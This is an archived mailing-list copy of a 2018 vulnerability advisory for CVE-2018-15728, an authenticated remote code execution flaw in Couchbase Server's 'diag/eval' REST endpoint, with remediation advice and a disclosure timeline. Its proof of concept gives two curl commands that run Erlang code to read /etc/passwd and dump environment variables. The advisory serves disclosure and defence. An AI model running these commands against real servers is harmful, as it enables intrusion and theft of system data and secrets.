Couchbase Server - Remote Code Execution

[x ksi <s3810 () pjwstk edu pl>]

Sender: s3810 () pjwstk edu pl
Subject: Couchbase Server - Remote Code Execution
Message-Id: <CAN10O-YorWdFmOh6kZDG1=R6+S5GQTQbSQms0DGjR8pDhr2MFQ () mail gmail com>
Recipient: Lanware.Security () lanware co uk


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> --- Begin Message ---
>
>
> From: x ksi <s3810 () pjwstk edu pl>
>
> Date: Thu, 23 Aug 2018 15:05:25 +1000
>
> Hey,
>
> Description:
> Couchbase Server [1] exposes REST API [2] which by default is
> available on TCP/8091 and/or TCP/18091.
> Authenticated users can send arbitrary Erlang code to 'diag/eval'
> endpoint of the API. The code will be subsequently executed in the
> underlying operating system with privileges of the user which was used
> to start Couchbase.
> The 'diag/eval' endpoint was found to be referenced in the official
> documentation [3][4][5], however, documentation doesn't contain any
> information about the risks associated with allowing access to the
> endpoint in question.
> Unfortunately, I was not able to confirm which versions of Couchbase
> are affected and whether 'diag/eval' endpoint is enabled by default.
> You can use the PoC provided below in order to verify if your
> installation is affected or not.
>
> Proof of Concept:
> 1. curl -H "Authorization: Basic ABCD" http://x.x.x.x:8091/diag/eval
> -X POST -d 'case file:read_file("/etc/passwd") of {ok, B} ->
> io:format("~p~n", [binary_to_term(B)]) end.'
> 2. curl -H "Authorization: Basic ABCD" http://x.x.x.x:8091/diag/eval
> -X POST -d 'os:cmd("env")'
>
> Remediation:
> Contact vendor for remediation guidance. Alternatively, restrict
> access to the REST API and/or 'diag/eval' endpoint.
>
> Timeline:
> 18.06.2018: Following vendor guidelines [6], the information about the
> issue was sent to security () couchbase com.
> 20.06.2018: Follow-up email was sent to the vendor to confirm receipt
> of the original report.
> 21.08.2018: MDSec published advisory about the similar vulnerability
> found in Apache CouchDB [7].
> 21.08.2018: CVE requested from MITRE.
> 22.08.2018: MITRE assigned CVE-2018-15728 for this issue.
> 23.08.2018: The advisory has been released.
>
> References:
> [1] https://www.couchbase.com/
> [2] https://developer.couchbase.com/documentation/server/current/rest-api/rest-intro.html
> [3] https://developer.couchbase.com/documentation/server/3.x/admin/Tasks/xdcr-modify-settings.html
> [4] https://developer.couchbase.com/documentation/server/4.1/security/security-comm-encryption.html
> [5] https://developer.couchbase.com/documentation/server/4.1/security/security-client-ssl.html
> [6] https://www.couchbase.com/resources/security#VulnerabilityReporting
> [7] https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/
>
>
> Thanks,
> Filip Palian
>
> --- End Message ---